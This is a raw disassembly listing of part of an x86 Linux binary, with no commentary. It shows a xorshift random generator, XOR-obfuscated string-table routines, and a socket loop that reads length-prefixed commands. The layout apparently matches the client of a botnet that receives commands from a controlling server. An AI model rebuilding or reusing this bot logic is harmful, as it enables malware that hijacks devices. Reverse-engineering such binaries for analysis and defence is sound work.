804af50: 00 00 00
804af53: f7 f9 idiv %ecx
804af55: 8b 44 24 20 mov 0x20(%esp),%eax
804af59: 40 inc %eax
804af5a: 85 d2 test %edx,%edx
804af5c: 89 44 24 20 mov %eax,0x20(%esp)
804af60: 0f 84 5d 02 00 00 je 0x804b1c3
804af66: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc
804af6d: 74 71 je 0x804afe0
804af6f: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804af75: c6 05 cc f0 04 08 00 movb $0x0,0x804f0cc
804af7c: 89 c8 mov %ecx,%eax
804af7e: 89 ca mov %ecx,%edx
804af80: c1 ea 05 shr $0x5,%edx
804af83: 83 e0 1f and $0x1f,%eax
804af86: 0f a3 84 94 30 04 00 bt %eax,0x430(%esp,%edx,4)
804af8d: 00
804af8e: 0f 92 c0 setb %al
804af91: 84 c0 test %al,%al
804af93: 0f 85 9a 01 00 00 jne 0x804b133
804af99: 83 f9 ff cmp $0xffffffff,%ecx
804af9c: 74 0c je 0x804afaa
804af9e: 83 ec 0c sub $0xc,%esp
804afa1: 51 push %ecx
804afa2: e8 2c 11 00 00 call 0x804c0d3
804afa7: 83 c4 10 add $0x10,%esp
804afaa: 83 ec 0c sub $0xc,%esp
804afad: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804afb4: ff ff ff
804afb7: 6a 01 push $0x1
804afb9: e8 ce 2a 00 00 call 0x804da8c
804afbe: 83 c4 10 add $0x10,%esp
804afc1: e9 ca fe ff ff jmp 0x804ae90
804afc6: a1 2c f0 04 08 mov 0x804f02c,%eax
804afcb: 89 c2 mov %eax,%edx
804afcd: 83 e0 1f and $0x1f,%eax
804afd0: c1 ea 05 shr $0x5,%edx
804afd3: 0f ab 84 94 b0 04 00 bts %eax,0x4b0(%esp,%edx,4)
804afda: 00
804afdb: e9 0f ff ff ff jmp 0x804aeef
804afe0: 8b 15 2c f0 04 08 mov 0x804f02c,%edx
804afe6: 83 fa ff cmp $0xffffffff,%edx
804afe9: 0f 84 a1 fe ff ff je 0x804ae90
804afef: 89 d0 mov %edx,%eax
804aff1: c1 ea 05 shr $0x5,%edx
804aff4: 83 e0 1f and $0x1f,%eax
804aff7: 0f a3 84 94 b0 04 00 bt %eax,0x4b0(%esp,%edx,4)
804affe: 00
804afff: 0f 92 c0 setb %al
804b002: 84 c0 test %al,%al
804b004: 0f 84 86 fe ff ff je 0x804ae90
804b00a: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp)
804b011: 00 00 00
804b014: e8 9d 15 00 00 call 0x804c5b6
804b019: 89 c3 mov %eax,%ebx
804b01b: c7 00 00 00 00 00 movl $0x0,(%eax)
804b021: 68 02 40 00 00 push $0x4002
804b026: 6a 02 push $0x2
804b028: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx
804b02f: 52 push %edx
804b030: a1 2c f0 04 08 mov 0x804f02c,%eax
804b035: 50 push %eax
804b036: e8 00 17 00 00 call 0x804c73b
804b03b: 83 c4 10 add $0x10,%esp
804b03e: 83 f8 ff cmp $0xffffffff,%eax
804b041: 0f 84 2c 02 00 00 je 0x804b273
804b047: 85 c0 test %eax,%eax
804b049: 74 5d je 0x804b0a8
804b04b: 66 8b 84 24 86 05 00 mov 0x586(%esp),%ax
804b052: 00
804b053: 66 85 c0 test %ax,%ax
804b056: 0f 84 30 02 00 00 je 0x804b28c
804b05c: 66 c1 c8 08 ror $0x8,%ax
804b060: 66 3d 00 04 cmp $0x400,%ax
804b064: 66 89 84 24 86 05 00 mov %ax,0x586(%esp)
804b06b: 00
804b06c: 0f 87 3c 02 00 00 ja 0x804b2ae
804b072: 25 ff ff 00 00 and $0xffff,%eax
804b077: c7 03 00 00 00 00 movl $0x0,(%ebx)
804b07d: 68 02 40 00 00 push $0x4002
804b082: 50 push %eax
804b083: 8d 44 24 38 lea 0x38(%esp),%eax
804b087: 50 push %eax
804b088: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi
804b08e: 57 push %edi
804b08f: e8 a7 16 00 00 call 0x804c73b
804b094: 83 c4 10 add $0x10,%esp
804b097: 83 f8 ff cmp $0xffffffff,%eax
804b09a: 0f 84 d3 01 00 00 je 0x804b273
804b0a0: 85 c0 test %eax,%eax
804b0a2: 0f 85 26 02 00 00 jne 0x804b2ce
804b0a8: a1 2c f0 04 08 mov 0x804f02c,%eax
804b0ad: 83 f8 ff cmp $0xffffffff,%eax
804b0b0: 0f 84 f4 fe ff ff je 0x804afaa
804b0b6: 83 ec 0c sub $0xc,%esp
804b0b9: 50 push %eax
804b0ba: e8 14 10 00 00 call 0x804c0d3
804b0bf: 83 c4 10 add $0x10,%esp
804b0c2: e9 e3 fe ff ff jmp 0x804afaa
804b0c7: 51 push %ecx
804b0c8: 6a 00 push $0x0
804b0ca: 6a 01 push $0x1
804b0cc: 6a 02 push $0x2
804b0ce: e8 4c 17 00 00 call 0x804c81f
804b0d3: 83 c4 10 add $0x10,%esp
804b0d6: a3 2c f0 04 08 mov %eax,0x804f02c
804b0db: 83 f8 ff cmp $0xffffffff,%eax
804b0de: 0f 84 e9 fd ff ff je 0x804aecd
804b0e4: 52 push %edx
804b0e5: 6a 00 push $0x0
804b0e7: 6a 03 push $0x3
804b0e9: 50 push %eax
804b0ea: e8 4e 0f 00 00 call 0x804c03d
804b0ef: 83 c4 0c add $0xc,%esp
804b0f2: 80 cc 08 or $0x8,%ah
804b0f5: 50 push %eax
804b0f6: 6a 04 push $0x4
804b0f8: a1 2c f0 04 08 mov 0x804f02c,%eax
804b0fd: 50 push %eax
804b0fe: e8 3a 0f 00 00 call 0x804c03d
804b103: a1 30 f0 04 08 mov 0x804f030,%eax
804b108: 83 c4 10 add $0x10,%esp
804b10b: 85 c0 test %eax,%eax
804b10d: 74 02 je 0x804b111
804b10f: ff d0 call *%eax
804b111: c6 05 cc f0 04 08 01 movb $0x1,0x804f0cc
804b118: 50 push %eax
804b119: 6a 10 push $0x10
804b11b: 68 14 f1 04 08 push $0x804f114
804b120: a1 2c f0 04 08 mov 0x804f02c,%eax
804b125: 50 push %eax
804b126: e8 5c 15 00 00 call 0x804c687
804b12b: 83 c4 10 add $0x10,%esp
804b12e: e9 9a fd ff ff jmp 0x804aecd
804b133: c7 84 24 7c 05 00 00 movl $0x0,0x57c(%esp)
804b13a: 00 00 00 00
804b13e: c7 84 24 80 05 00 00 movl $0x4,0x580(%esp)
804b145: 04 00 00 00
804b149: 83 ec 0c sub $0xc,%esp
804b14c: 8d 94 24 8c 05 00 00 lea 0x58c(%esp),%edx
804b153: 52 push %edx
804b154: 8d 84 24 8c 05 00 00 lea 0x58c(%esp),%eax
804b15b: 50 push %eax
804b15c: 6a 04 push $0x4
804b15e: 6a 01 push $0x1
804b160: 51 push %ecx
804b161: e8 77 15 00 00 call 0x804c6dd
804b166: 83 c4 20 add $0x20,%esp
804b169: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx
804b170: 85 db test %ebx,%ebx
804b172: 74 72 je 0x804b1e6
804b174: 83 ec 0c sub $0xc,%esp
804b177: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804b17d: 51 push %ecx
804b17e: e8 50 0f 00 00 call 0x804c0d3
804b183: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804b18a: ff ff ff
804b18d: e8 be 01 00 00 call 0x804b350
804b192: b9 cd cc cc cc mov $0xcccccccd,%ecx
804b197: 5a pop %edx
804b198: 89 c3 mov %eax,%ebx
804b19a: f7 e1 mul %ecx
804b19c: 89 54 24 18 mov %edx,0x18(%esp)
804b1a0: 89 44 24 14 mov %eax,0x14(%esp)
804b1a4: 8b 54 24 18 mov 0x18(%esp),%edx
804b1a8: c1 ea 03 shr $0x3,%edx
804b1ab: 8d 14 92 lea (%edx,%edx,4),%edx
804b1ae: 01 d2 add %edx,%edx
804b1b0: 29 d3 sub %edx,%ebx
804b1b2: 8d 43 01 lea 0x1(%ebx),%eax
804b1b5: 50 push %eax
804b1b6: e8 d1 28 00 00 call 0x804da8c
804b1bb: 83 c4 10 add $0x10,%esp
804b1be: e9 cd fc ff ff jmp 0x804ae90
804b1c3: 68 00 40 00 00 push $0x4000
804b1c8: 6a 02 push $0x2
804b1ca: 8d 84 24 8e 05 00 00 lea 0x58e(%esp),%eax
804b1d1: 50 push %eax
804b1d2: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi
804b1d8: 57 push %edi
804b1d9: e8 90 15 00 00 call 0x804c76e
804b1de: 83 c4 10 add $0x10,%esp
804b1e1: e9 80 fd ff ff jmp 0x804af66
804b1e6: 83 ec 0c sub $0xc,%esp
804b1e9: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx
804b1f0: 52 push %edx
804b1f1: e8 0a 0a 00 00 call 0x804bc00
804b1f6: 88 84 24 96 05 00 00 mov %al,0x596(%esp)
804b1fd: e8 1e 0c 00 00 call 0x804be20
804b202: a3 08 f1 04 08 mov %eax,0x804f108
804b207: 68 00 40 00 00 push $0x4000
804b20c: 6a 04 push $0x4
804b20e: 68 94 e8 04 08 push $0x804e894
804b213: a1 2c f0 04 08 mov 0x804f02c,%eax
804b218: 50 push %eax
804b219: e8 50 15 00 00 call 0x804c76e
804b21e: 83 c4 20 add $0x20,%esp
804b221: 68 00 40 00 00 push $0x4000
804b226: 6a 01 push $0x1
804b228: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx
804b22f: 51 push %ecx
804b230: a1 2c f0 04 08 mov 0x804f02c,%eax
804b235: 50 push %eax
804b236: e8 33 15 00 00 call 0x804c76e
804b23b: 8a 84 24 96 05 00 00 mov 0x596(%esp),%al
804b242: 83 c4 10 add $0x10,%esp
804b245: 84 c0 test %al,%al
804b247: 0f 84 43 fc ff ff je 0x804ae90
804b24d: 25 ff 00 00 00 and $0xff,%eax
804b252: 68 00 40 00 00 push $0x4000
804b257: 50 push %eax
804b258: 8d 84 24 38 05 00 00 lea 0x538(%esp),%eax
804b25f: 50 push %eax
804b260: a1 2c f0 04 08 mov 0x804f02c,%eax
804b265: 50 push %eax
804b266: e8 03 15 00 00 call 0x804c76e
804b26b: 83 c4 10 add $0x10,%esp
804b26e: e9 1d fc ff ff jmp 0x804ae90
804b273: 8b 03 mov (%ebx),%eax
804b275: 83 f8 0b cmp $0xb,%eax
804b278: 0f 84 12 fc ff ff je 0x804ae90
804b27e: 83 f8 04 cmp $0x4,%eax
804b281: 0f 85 21 fe ff ff jne 0x804b0a8
804b287: e9 04 fc ff ff jmp 0x804ae90
804b28c: 68 00 40 00 00 push $0x4000
804b291: 6a 02 push $0x2
804b293: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx
804b29a: 51 push %ecx
804b29b: a1 2c f0 04 08 mov 0x804f02c,%eax
804b2a0: 50 push %eax
804b2a1: e8 95 14 00 00 call 0x804c73b
804b2a6: 83 c4 10 add $0x10,%esp
804b2a9: e9 e2 fb ff ff jmp 0x804ae90
804b2ae: 83 ec 0c sub $0xc,%esp
804b2b1: a1 2c f0 04 08 mov 0x804f02c,%eax
804b2b6: 50 push %eax
804b2b7: e8 17 0e 00 00 call 0x804c0d3
804b2bc: 83 c4 10 add $0x10,%esp
804b2bf: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804b2c6: ff ff ff
804b2c9: e9 c2 fb ff ff jmp 0x804ae90
804b2ce: 68 00 40 00 00 push $0x4000
804b2d3: 6a 02 push $0x2
804b2d5: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx
804b2dc: 52 push %edx
804b2dd: 8b 1d 2c f0 04 08 mov 0x804f02c,%ebx
804b2e3: 53 push %ebx
804b2e4: e8 52 14 00 00 call 0x804c73b
804b2e9: 66 8b 84 24 96 05 00 mov 0x596(%esp),%ax
804b2f0: 00
804b2f1: 66 c1 c8 08 ror $0x8,%ax
804b2f5: 66 89 84 24 96 05 00 mov %ax,0x596(%esp)
804b2fc: 00
804b2fd: 25 ff ff 00 00 and $0xffff,%eax
804b302: 68 00 40 00 00 push $0x4000
804b307: 50 push %eax
804b308: 8d 4c 24 48 lea 0x48(%esp),%ecx
804b30c: 51 push %ecx
804b30d: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804b313: 51 push %ecx
804b314: e8 22 14 00 00 call 0x804c73b
804b319: 66 8b 84 24 a6 05 00 mov 0x5a6(%esp),%ax
804b320: 00
804b321: 83 c4 20 add $0x20,%esp
804b324: 66 85 c0 test %ax,%ax
804b327: 0f 84 63 fb ff ff je 0x804ae90
804b32d: 25 ff ff 00 00 and $0xffff,%eax
804b332: 52 push %edx
804b333: 52 push %edx
804b334: 50 push %eax
804b335: 8d 44 24 3c lea 0x3c(%esp),%eax
804b339: 50 push %eax
804b33a: e8 11 cf ff ff call 0x8048250
804b33f: 83 c4 10 add $0x10,%esp
804b342: e9 49 fb ff ff jmp 0x804ae90
804b347: 90 nop
804b348: 90 nop
804b349: 90 nop
804b34a: 90 nop
804b34b: 90 nop
804b34c: 90 nop
804b34d: 90 nop
804b34e: 90 nop
804b34f: 90 nop
804b350: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b355: 53 push %ebx
804b356: 89 c3 mov %eax,%ebx
804b358: 8b 15 dc f0 04 08 mov 0x804f0dc,%edx
804b35e: c1 e3 0b shl $0xb,%ebx
804b361: 89 d1 mov %edx,%ecx
804b363: c1 e9 13 shr $0x13,%ecx
804b366: 31 c3 xor %eax,%ebx
804b368: a1 d4 f0 04 08 mov 0x804f0d4,%eax
804b36d: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b372: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b377: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b37c: 89 15 d8 f0 04 08 mov %edx,0x804f0d8
804b382: 89 d8 mov %ebx,%eax
804b384: 31 ca xor %ecx,%edx
804b386: c1 e8 08 shr $0x8,%eax
804b389: 31 d3 xor %edx,%ebx
804b38b: 31 d8 xor %ebx,%eax
804b38d: 5b pop %ebx
804b38e: a3 dc f0 04 08 mov %eax,0x804f0dc
804b393: c3 ret
804b394: 90 nop
804b395: 90 nop
804b396: 90 nop
804b397: 90 nop
804b398: 90 nop
804b399: 90 nop
804b39a: 90 nop
804b39b: 90 nop
804b39c: 90 nop
804b39d: 90 nop
804b39e: 90 nop
804b39f: 90 nop
804b3a0: 53 push %ebx
804b3a1: 83 ec 14 sub $0x14,%esp
804b3a4: 6a 00 push $0x0
804b3a6: e8 94 0f 00 00 call 0x804c33f
804b3ab: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b3b0: e8 72 0d 00 00 call 0x804c127
804b3b5: 89 c3 mov %eax,%ebx
804b3b7: e8 91 0d 00 00 call 0x804c14d
804b3bc: 31 c3 xor %eax,%ebx
804b3be: 89 1d d4 f0 04 08 mov %ebx,0x804f0d4
804b3c4: e8 f3 11 00 00 call 0x804c5bc
804b3c9: 8b 15 d4 f0 04 08 mov 0x804f0d4,%edx
804b3cf: a3 d8 f0 04 08 mov %eax,0x804f0d8
804b3d4: 31 d0 xor %edx,%eax
804b3d6: a3 dc f0 04 08 mov %eax,0x804f0dc
804b3db: 83 c4 18 add $0x18,%esp
804b3de: 5b pop %ebx
804b3df: c3 ret
804b3e0: 55 push %ebp
804b3e1: 57 push %edi
804b3e2: 56 push %esi
804b3e3: 53 push %ebx
804b3e4: 83 ec 38 sub $0x38,%esp
804b3e7: 8b 5c 24 50 mov 0x50(%esp),%ebx
804b3eb: 6a 1c push $0x1c
804b3ed: e8 3e 02 00 00 call 0x804b630
804b3f2: 5f pop %edi
804b3f3: 5d pop %ebp
804b3f4: 6a 00 push $0x0
804b3f6: 6a 1c push $0x1c
804b3f8: e8 83 01 00 00 call 0x804b580
804b3fd: 59 pop %ecx
804b3fe: 5e pop %esi
804b3ff: 50 push %eax
804b400: 8d 6c 24 18 lea 0x18(%esp),%ebp
804b404: 55 push %ebp
804b405: e8 12 12 00 00 call 0x804c61c
804b40a: 83 c4 10 add $0x10,%esp
804b40d: 85 db test %ebx,%ebx
804b40f: 74 68 je 0x804b479
804b411: 8b 74 24 40 mov 0x40(%esp),%esi
804b415: 8d 3c 33 lea (%ebx,%esi,1),%edi
804b418: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b41d: 83 ec 0c sub $0xc,%esp
804b420: 89 c1 mov %eax,%ecx
804b422: c1 e1 0b shl $0xb,%ecx
804b425: 55 push %ebp
804b426: 31 c1 xor %eax,%ecx
804b428: a1 d4 f0 04 08 mov 0x804f0d4,%eax
804b42d: a3 d0 f0 04 08 mov %eax,0x804f0d0
804b432: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b437: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b43c: a1 dc f0 04 08 mov 0x804f0dc,%eax
804b441: 89 c2 mov %eax,%edx
804b443: a3 d8 f0 04 08 mov %eax,0x804f0d8
804b448: c1 ea 13 shr $0x13,%edx
804b44b: 89 cb mov %ecx,%ebx
804b44d: c1 eb 08 shr $0x8,%ebx
804b450: 31 d0 xor %edx,%eax
804b452: 31 c1 xor %eax,%ecx
804b454: 31 cb xor %ecx,%ebx
804b456: 89 1d dc f0 04 08 mov %ebx,0x804f0dc
804b45c: e8 9f 07 00 00 call 0x804bc00
804b461: 89 c2 mov %eax,%edx
804b463: 89 d8 mov %ebx,%eax
804b465: 89 d1 mov %edx,%ecx
804b467: 31 d2 xor %edx,%edx
804b469: f7 f1 div %ecx
804b46b: 8a 44 14 1c mov 0x1c(%esp,%edx,1),%al
804b46f: 83 c4 10 add $0x10,%esp
804b472: 88 06 mov %al,(%esi)
804b474: 46 inc %esi
804b475: 39 fe cmp %edi,%esi
804b477: 75 9f jne 0x804b418
804b479: 83 ec 0c sub $0xc,%esp
804b47c: 6a 1c push $0x1c
804b47e: e8 2d 01 00 00 call 0x804b5b0
804b483: 83 c4 3c add $0x3c,%esp
804b486: 5b pop %ebx
804b487: 5e pop %esi
804b488: 5f pop %edi
804b489: 5d pop %ebp
804b48a: c3 ret
804b48b: 90 nop
804b48c: 90 nop
804b48d: 90 nop
804b48e: 90 nop
804b48f: 90 nop
804b490: 55 push %ebp
804b491: 57 push %edi
804b492: 56 push %esi
804b493: 53 push %ebx
804b494: 83 ec 04 sub $0x4,%esp
804b497: 8b 5c 24 1c mov 0x1c(%esp),%ebx
804b49b: 8b 7c 24 18 mov 0x18(%esp),%edi
804b49f: 85 db test %ebx,%ebx
804b4a1: 0f 8e 8e 00 00 00 jle 0x804b535
804b4a7: a1 d8 f0 04 08 mov 0x804f0d8,%eax
804b4ac: 8b 35 dc f0 04 08 mov 0x804f0dc,%esi
804b4b2: 89 04 24 mov %eax,(%esp)
804b4b5: 8b 2d d4 f0 04 08 mov 0x804f0d4,%ebp
804b4bb: a1 d0 f0 04 08 mov 0x804f0d0,%eax
804b4c0: eb 2d jmp 0x804b4ef
804b4c2: 89 c2 mov %eax,%edx
804b4c4: 83 eb 04 sub $0x4,%ebx
804b4c7: c1 e2 0b shl $0xb,%edx
804b4ca: 31 c2 xor %eax,%edx
804b4cc: 89 f0 mov %esi,%eax
804b4ce: c1 e8 13 shr $0x13,%eax
804b4d1: 89 d1 mov %edx,%ecx
804b4d3: c1 e9 08 shr $0x8,%ecx
804b4d6: 31 f0 xor %esi,%eax
804b4d8: 31 c2 xor %eax,%edx
804b4da: 31 d1 xor %edx,%ecx
804b4dc: 89 0f mov %ecx,(%edi)
804b4de: 83 c7 04 add $0x4,%edi
804b4e1: 85 db test %ebx,%ebx
804b4e3: 7e 36 jle 0x804b51b
804b4e5: 89 e8 mov %ebp,%eax
804b4e7: 8b 2c 24 mov (%esp),%ebp
804b4ea: 89 34 24 mov %esi,(%esp)
804b4ed: 89 ce mov %ecx,%esi
804b4ef: 83 fb 03 cmp $0x3,%ebx
804b4f2: 7f ce jg 0x804b4c2
804b4f4: 83 fb 01 cmp $0x1,%ebx
804b4f7: 74 47 je 0x804b540
804b4f9: 89 c2 mov %eax,%edx
804b4fb: 83 eb 02 sub $0x2,%ebx
804b4fe: c1 e2 0b shl $0xb,%edx
804b501: 31 c2 xor %eax,%edx
804b503: 89 f0 mov %esi,%eax
804b505: c1 e8 13 shr $0x13,%eax
804b508: 89 d1 mov %edx,%ecx
804b50a: c1 e9 08 shr $0x8,%ecx
804b50d: 31 f0 xor %esi,%eax
804b50f: 31 c2 xor %eax,%edx
804b511: 31 d1 xor %edx,%ecx
804b513: 66 89 0f mov %cx,(%edi)
804b516: 83 c7 02 add $0x2,%edi
804b519: eb c6 jmp 0x804b4e1
804b51b: 8b 04 24 mov (%esp),%eax
804b51e: 89 0d dc f0 04 08 mov %ecx,0x804f0dc
804b524: 89 35 d8 f0 04 08 mov %esi,0x804f0d8
804b52a: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b52f: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0
804b535: 58 pop %eax
804b536: 5b pop %ebx
804b537: 5e pop %esi
804b538: 5f pop %edi
804b539: 5d pop %ebp
804b53a: c3 ret
804b53b: 90 nop
804b53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804b540: 89 c1 mov %eax,%ecx
804b542: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0
804b548: c1 e1 0b shl $0xb,%ecx
804b54b: 89 35 d8 f0 04 08 mov %esi,0x804f0d8
804b551: 31 c1 xor %eax,%ecx
804b553: 8b 04 24 mov (%esp),%eax
804b556: a3 d4 f0 04 08 mov %eax,0x804f0d4
804b55b: 89 f0 mov %esi,%eax
804b55d: c1 e8 13 shr $0x13,%eax
804b560: 89 ca mov %ecx,%edx
804b562: c1 ea 08 shr $0x8,%edx
804b565: 31 f0 xor %esi,%eax
804b567: 31 c1 xor %eax,%ecx
804b569: 31 ca xor %ecx,%edx
804b56b: 89 15 dc f0 04 08 mov %edx,0x804f0dc
804b571: 88 17 mov %dl,(%edi)
804b573: 58 pop %eax
804b574: 5b pop %ebx
804b575: 5e pop %esi
804b576: 5f pop %edi
804b577: 5d pop %ebp
804b578: c3 ret
804b579: 90 nop
804b57a: 90 nop
804b57b: 90 nop
804b57c: 90 nop
804b57d: 90 nop
804b57e: 90 nop
804b57f: 90 nop
804b580: 8b 44 24 04 mov 0x4(%esp),%eax
804b584: 8b 4c 24 08 mov 0x8(%esp),%ecx
804b588: 85 c9 test %ecx,%ecx
804b58a: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
804b591: 8d 82 40 f1 04 08 lea 0x804f140(%edx),%eax
804b597: 74 0a je 0x804b5a3
804b599: 8b 40 04 mov 0x4(%eax),%eax
804b59c: 25 ff ff 00 00 and $0xffff,%eax
804b5a1: 89 01 mov %eax,(%ecx)
804b5a3: 8b 82 40 f1 04 08 mov 0x804f140(%edx),%eax
804b5a9: c3 ret
804b5aa: 90 nop
804b5ab: 90 nop
804b5ac: 90 nop
804b5ad: 90 nop
804b5ae: 90 nop
804b5af: 90 nop
804b5b0: 55 push %ebp
804b5b1: 57 push %edi
804b5b2: 56 push %esi
804b5b3: 53 push %ebx
804b5b4: 83 ec 1c sub $0x1c,%esp
804b5b7: 31 c0 xor %eax,%eax
804b5b9: 8a 44 24 30 mov 0x30(%esp),%al
804b5bd: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx
804b5c4: a1 34 f0 04 08 mov 0x804f034,%eax
804b5c9: 66 83 79 04 00 cmpw $0x0,0x4(%ecx)
804b5ce: 74 4a je 0x804b61a
804b5d0: 89 c7 mov %eax,%edi
804b5d2: 89 c6 mov %eax,%esi
804b5d4: 89 c5 mov %eax,%ebp
804b5d6: 31 d2 xor %edx,%edx
804b5d8: c1 e8 18 shr $0x18,%eax
804b5db: c1 ef 08 shr $0x8,%edi
804b5de: 88 04 24 mov %al,(%esp)
804b5e1: c1 ee 10 shr $0x10,%esi
804b5e4: 8b 19 mov (%ecx),%ebx
804b5e6: 89 d0 mov %edx,%eax
804b5e8: 01 d8 add %ebx,%eax
804b5ea: 89 eb mov %ebp,%ebx
804b5ec: 30 18 xor %bl,(%eax)
804b5ee: 89 d0 mov %edx,%eax
804b5f0: 8b 19 mov (%ecx),%ebx
804b5f2: 01 d8 add %ebx,%eax
804b5f4: 89 fb mov %edi,%ebx
804b5f6: 30 18 xor %bl,(%eax)
804b5f8: 89 d0 mov %edx,%eax
804b5fa: 8b 19 mov (%ecx),%ebx
804b5fc: 01 d8 add %ebx,%eax
804b5fe: 89 f3 mov %esi,%ebx
804b600: 30 18 xor %bl,(%eax)
804b602: 89 d0 mov %edx,%eax
804b604: 8b 19 mov (%ecx),%ebx
804b606: 42 inc %edx
804b607: 01 d8 add %ebx,%eax
804b609: 8a 1c 24 mov (%esp),%bl
804b60c: 30 18 xor %bl,(%eax)
804b60e: 8b 41 04 mov 0x4(%ecx),%eax
804b611: 25 ff ff 00 00 and $0xffff,%eax
804b616: 39 d0 cmp %edx,%eax
804b618: 7f ca jg 0x804b5e4
804b61a: 83 c4 1c add $0x1c,%esp
804b61d: 5b pop %ebx
804b61e: 5e pop %esi
804b61f: 5f pop %edi
804b620: 5d pop %ebp
804b621: c3 ret
804b622: 90 nop
804b623: 90 nop
804b624: 90 nop
804b625: 90 nop
804b626: 90 nop
804b627: 90 nop
804b628: 90 nop
804b629: 90 nop
804b62a: 90 nop
804b62b: 90 nop
804b62c: 90 nop
804b62d: 90 nop
804b62e: 90 nop
804b62f: 90 nop
804b630: 55 push %ebp
804b631: 57 push %edi
804b632: 56 push %esi
804b633: 53 push %ebx
804b634: 83 ec 1c sub $0x1c,%esp
804b637: 31 c0 xor %eax,%eax
804b639: 8a 44 24 30 mov 0x30(%esp),%al
804b63d: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx
804b644: a1 34 f0 04 08 mov 0x804f034,%eax
804b649: 66 83 79 04 00 cmpw $0x0,0x4(%ecx)
804b64e: 74 4a je 0x804b69a
804b650: 89 c7 mov %eax,%edi
804b652: 89 c6 mov %eax,%esi
804b654: 89 c5 mov %eax,%ebp
804b656: 31 d2 xor %edx,%edx
804b658: c1 e8 18 shr $0x18,%eax
804b65b: c1 ef 08 shr $0x8,%edi
804b65e: 88 04 24 mov %al,(%esp)
804b661: c1 ee 10 shr $0x10,%esi
804b664: 8b 19 mov (%ecx),%ebx
804b666: 89 d0 mov %edx,%eax
804b668: 01 d8 add %ebx,%eax
804b66a: 89 eb mov %ebp,%ebx
804b66c: 30 18 xor %bl,(%eax)
804b66e: 89 d0 mov %edx,%eax
804b670: 8b 19 mov (%ecx),%ebx
804b672: 01 d8 add %ebx,%eax
804b674: 89 fb mov %edi,%ebx
804b676: 30 18 xor %bl,(%eax)
804b678: 89 d0 mov %edx,%eax
804b67a: 8b 19 mov (%ecx),%ebx
804b67c: 01 d8 add %ebx,%eax
804b67e: 89 f3 mov %esi,%ebx
804b680: 30 18 xor %bl,(%eax)
804b682: 89 d0 mov %edx,%eax
804b684: 8b 19 mov (%ecx),%ebx
804b686: 42 inc %edx
804b687: 01 d8 add %ebx,%eax
804b689: 8a 1c 24 mov (%esp),%bl
804b68c: 30 18 xor %bl,(%eax)
804b68e: 8b 41 04 mov 0x4(%ecx),%eax
804b691: 25 ff ff 00 00 and $0xffff,%eax
804b696: 39 d0 cmp %edx,%eax
804b698: 7f ca jg 0x804b664
804b69a: 83 c4 1c add $0x1c,%esp
804b69d: 5b pop %ebx
804b69e: 5e pop %esi
804b69f: 5f pop %edi
804b6a0: 5d pop %ebp
804b6a1: c3 ret
804b6a2: 90 nop
804b6a3: 90 nop
804b6a4: 90 nop
804b6a5: 90 nop
804b6a6: 90 nop
804b6a7: 90 nop
804b6a8: 90 nop
804b6a9: 90 nop
804b6aa: 90 nop
804b6ab: 90 nop
804b6ac: 90 nop
804b6ad: 90 nop
804b6ae: 90 nop
804b6af: 90 nop
804b6b0: 53 push %ebx
804b6b1: 83 ec 14 sub $0x14,%esp
804b6b4: 6a 02 push $0x2
804b6b6: e8 b5 11 00 00 call 0x804c870
804b6bb: 83 c4 0c add $0xc,%esp
804b6be: 89 c3 mov %eax,%ebx
804b6c0: 6a 02 push $0x2
804b6c2: 68 99 e8 04 08 push $0x804e899
804b6c7: 50 push %eax
804b6c8: e8 93 05 00 00 call 0x804bc60
804b6cd: 89 1d 48 f1 04 08 mov %ebx,0x804f148
804b6d3: c7 04 24 02 00 00 00 movl $0x2,(%esp)
804b6da: 66 c7 05 4c f1 04 08 movw $0x2,0x804f14c
804b6e1: 02 00
804b6e3: e8 88 11 00 00 call 0x804c870
804b6e8: 83 c4 0c add $0xc,%esp
804b6eb: 89 c3 mov %eax,%ebx
804b6ed: 6a 02 push $0x2
804b6ef: 68 9c e8 04 08 push $0x804e89c
804b6f4: 50 push %eax
804b6f5: e8 66 05 00 00 call 0x804bc60
804b6fa: 89 1d 50 f1 04 08 mov %ebx,0x804f150
804b700: c7 04 24 17 00 00 00 movl $0x17,(%esp)
804b707: 66 c7 05 54 f1 04 08 movw $0x2,0x804f154
804b70e: 02 00
804b710: e8 5b 11 00 00 call 0x804c870
804b715: 83 c4 0c add $0xc,%esp
804b718: 89 c3 mov %eax,%ebx
804b71a: 6a 17 push $0x17
804b71c: 68 9f e8 04 08 push $0x804e89f
804b721: 50 push %eax
804b722: e8 39 05 00 00 call 0x804bc60
804b727: 89 1d 58 f1 04 08 mov %ebx,0x804f158
804b72d: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804b734: 66 c7 05 5c f1 04 08 movw $0x17,0x804f15c
804b73b: 17 00
804b73d: e8 2e 11 00 00 call 0x804c870
804b742: 83 c4 0c add $0xc,%esp
804b745: 89 c3 mov %eax,%ebx
804b747: 6a 06 push $0x6
